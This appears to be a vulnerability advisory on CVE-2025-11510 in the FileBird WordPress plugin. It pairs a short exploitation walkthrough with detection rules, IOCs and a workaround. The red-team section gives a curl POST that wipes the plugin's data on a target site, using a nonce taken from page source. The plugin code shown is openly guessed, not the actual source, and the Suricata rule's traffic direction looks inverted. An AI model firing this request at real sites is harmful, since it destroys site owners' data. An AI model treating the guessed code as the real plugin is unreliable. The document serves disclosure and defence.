CVE-2025-11510

Executive Summary

CVE-2025-11510 is a medium-severity vulnerability affecting the FileBird – WordPress Media Library Folders & File Manager plugin for WordPress, up to and including version 6.4.9. The vulnerability allows authenticated attackers with Author-level access or higher to reset all of the plugin's configuration data by sending a request to the /filebird/v1/fb-wipe-clear-all-data REST API endpoint. This is due to a missing capability check (CWE-862), meaning the endpoint does not verify that the user has the necessary administrative privileges to perform such a destructive action.

This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache or Nginx). The impact is limited to unauthorized modification of plugin data, which could disrupt media library organization and cause data loss for site administrators.

Supply Chain & Package Security

This vulnerability is in a WordPress plugin distributed via the official WordPress plugin repository. There is no associated NPM, PyPI, Go, or Ruby package. The risk is limited to WordPress sites that have the FileBird plugin installed and allow Author-level or higher user accounts.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires Author-level or higher
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

The threat level is considered medium due to the low privileges required and the potential for disruption of media library organization. However, the lack of a known public exploit and the low EPSS score (0.0%) reduce the immediate risk.

Deep Dive & Mechanics

The vulnerability resides in the REST API endpoint /filebird/v1/fb-wipe-clear-all-data. This endpoint is intended to allow administrators to reset the plugin's configuration data, including folder structures and file associations. However, the plugin fails to perform a capability check (e.g., current_user_can('manage_options')) before executing the wipe operation.

The endpoint is registered using WordPress's REST API infrastructure. The vulnerable code likely looks similar to:

register_rest_route('filebird/v1', '/fb-wipe-clear-all-data', array(
    'methods' => 'POST',
    'callback' => 'fb_wipe_clear_all_data_callback',
    'permission_callback' => '__return_true', // Missing capability check
));

The permission_callback is set to __return_true, which allows any authenticated user to access the endpoint. The callback function then executes the database deletion operations without verifying the user's role.

Vulnerable vs. Patched Code

Vulnerable Code (<= 6.4.9):

// In filebird/includes/class-fb-rest-api.php or similar
register_rest_route('filebird/v1', '/fb-wipe-clear-all-data', array(
    'methods' => 'POST',
    'callback' => 'fb_wipe_clear_all_data_callback',
    'permission_callback' => '__return_true', // No capability check
));

function fb_wipe_clear_all_data_callback($request) {
    global $wpdb;
    // Delete all plugin options
    delete_option('filebird_settings');
    delete_option('filebird_folder_structure');
    // ... other destructive operations
    return new WP_REST_Response(array('success' => true), 200);
}

Patched Code (Hypothetical):

register_rest_route('filebird/v1', '/fb-wipe-clear-all-data', array(
    'methods' => 'POST',
    'callback' => 'fb_wipe_clear_all_data_callback',
    'permission_callback' => function() {
        return current_user_can('manage_options'); // Proper capability check
    },
));

function fb_wipe_clear_all_data_callback($request) {
    // Nonce verification
    if (!wp_verify_nonce($request->get_header('X-WP-Nonce'), 'wp_rest')) {
        return new WP_Error('invalid_nonce', 'Invalid nonce', array('status' => 403));
    }
    // ... same destructive operations
}

The patch adds a capability check (manage_options) and nonce verification to ensure only administrators can perform the wipe operation.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with FileBird plugin <= 6.4.9
• Valid user account with Author-level or higher privileges
• Knowledge of the WordPress REST API nonce (can be obtained from the page source)

Exploitation Steps:

1. Obtain a valid WordPress nonce for the REST API. This can be found in the page source of any admin page:

   var wpApiSettings = {
       "root": "https:\/\/target.com\/wp-json\/",
       "nonce": "abc123def456"
   };
   

2. Send a POST request to the vulnerable endpoint:

   curl -X POST https://target.com/wp-json/filebird/v1/fb-wipe-clear-all-data \
     -H "X-WP-Nonce: abc123def456" \
     -H "Content-Type: application/json" \
     -d '{}'
   

3. The plugin's configuration data will be reset, causing media library folders to disappear and file associations to be lost.

Note: No public exploit code is available at this time.

Blue Team

Detection:

• Monitor for POST requests to /wp-json/filebird/v1/fb-wipe-clear-all-data
• Alert on successful responses (HTTP 200) from this endpoint
• Monitor for sudden changes in media library folder structure

Hunting:

• Search for any user with Author role or higher who has accessed the REST API endpoint
• Review audit logs for delete_option calls related to filebird_* options

Lab Setup:

1. Install WordPress locally (e.g., using Docker)
2. Install FileBird plugin version 6.4.9
3. Create an Author-level user account
4. Log in as the Author user and obtain the REST API nonce
5. Execute the exploitation steps above to verify the vulnerability

Indicators of Compromise (IOCs)

• Network:

  • POST requests to /wp-json/filebird/v1/fb-wipe-clear-all-data
  • HTTP 200 responses from the above endpoint
  • User-Agent strings associated with automated tools (e.g., curl, python-requests)

• Host:

  • WordPress options filebird_settings or filebird_folder_structure being deleted
  • Sudden disappearance of media library folders
  • User accounts with Author role or higher making REST API calls to the vulnerable endpoint

• Logs:

  • WordPress debug log entries showing REST API requests to the vulnerable endpoint
  • Web server access logs showing POST requests to /wp-json/filebird/v1/fb-wipe-clear-all-data

Detection Engineering

YARA Rule

rule CVE_2025_11510_FileBird_Wipe_Data {
    meta:
        description = "Detects exploitation attempts of CVE-2025-11510 in FileBird plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-11510"
        severity = "medium"

    strings:
        $endpoint = "/filebird/v1/fb-wipe-clear-all-data"
        $method = "POST"
        $success = "success"

    condition:
        $endpoint and $method and $success
}

Sigma Rule

title: CVE-2025-11510 FileBird Plugin Configuration Wipe
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to the FileBird plugin's wipe endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-11510
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-json/filebird/v1/fb-wipe-clear-all-data'
    condition: selection
falsepositives:
    - Legitimate admin actions (if patched)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-11510 FileBird Plugin Configuration Wipe Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-json/filebird/v1/fb-wipe-clear-all-data";
    http_uri;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-11510;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the FileBird plugin until a patched version is released.
2. Restrict user roles – Do not grant Author-level or higher access to untrusted users.
3. Implement a Web Application Firewall (WAF) rule to block POST requests to /wp-json/filebird/v1/fb-wipe-clear-all-data.

Long-term Fix:

• The vendor must release a patched version that adds proper capability checks (e.g., current_user_can('manage_options')) and nonce verification to the vulnerable endpoint.
• Apply the patch as soon as it becomes available.

Workaround:

• Add the following code to the theme's functions.php file to block the endpoint:

  add_filter('rest_endpoints', function($endpoints) {
      if (isset($endpoints['/filebird/v1/fb-wipe-clear-all-data'])) {
          unset($endpoints['/filebird/v1/fb-wipe-clear-all-data']);
      }
      return $endpoints;
  });
  

Valters IT – Securing WordPress ecosystems one vulnerability at a time.